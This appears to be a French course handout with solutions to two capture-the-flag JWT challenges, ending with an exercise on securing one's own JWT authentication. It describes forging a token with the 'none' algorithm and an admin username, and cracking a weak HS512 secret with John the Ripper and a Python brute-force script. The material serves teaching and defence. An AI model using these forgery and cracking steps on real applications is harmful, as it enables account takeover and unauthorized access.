Hacker Time !! Vous allez mettre votre masque d'anonymous et commencer votre carrière de black hat.
Challenges/Web - Serveur : JSON Web Token (JWT) -...
Solutions :
-Récupérer le JWT du challenge via la console du navigateur ( Applications > Cookies )
- Décoder avec l'outil JWT encode/decode
- Remplacer l'algorithme par "none"
- Remplacer le username dans la payload par "admin"
- Remplacer le JWT obtenu dans les cookies de la console du navigateur et recharger la page
Challenges/Web - Serveur : JSON Web Token (JWT) - Secret...
Solutions : 1
- Enregistrer le token dans un fichier txt
- Installer le programme John The Ripper et déclencher la commande suivante :
john jwt.txt --format=HMAC-SHA512
2
import jwt
arrayCombine = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',1,2,3,4,5,6,7,8,9,0,""]
encoded_jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"
# 4 boucles for = 4 caractères max pour le secret
for i in range (len(arrayCombine)):
for j in range (len(arrayCombine)):
for k in range (len(arrayCombine)):
for l in range (len(arrayCombine)):
secret = str(arrayCombine[i]) + str(arrayCombine[j]) + str(arrayCombine[k]) + str(arrayCombine[l])
try:
jwt.decode(encoded_jwt, secret, algorithms=["HS512"])
print("the secret word is : " + str(secret))
break
except:
pass
Si ce n'est pas déja la cas votre objectif sera de mettre en place l'authentification via un JWT sur votre application
- Comment fonctionne le JWT sur vos frameworks ?
- Quel Algorithme utilise t'ils ?
- Votre token est-il inviolable ?
- Et le secret ?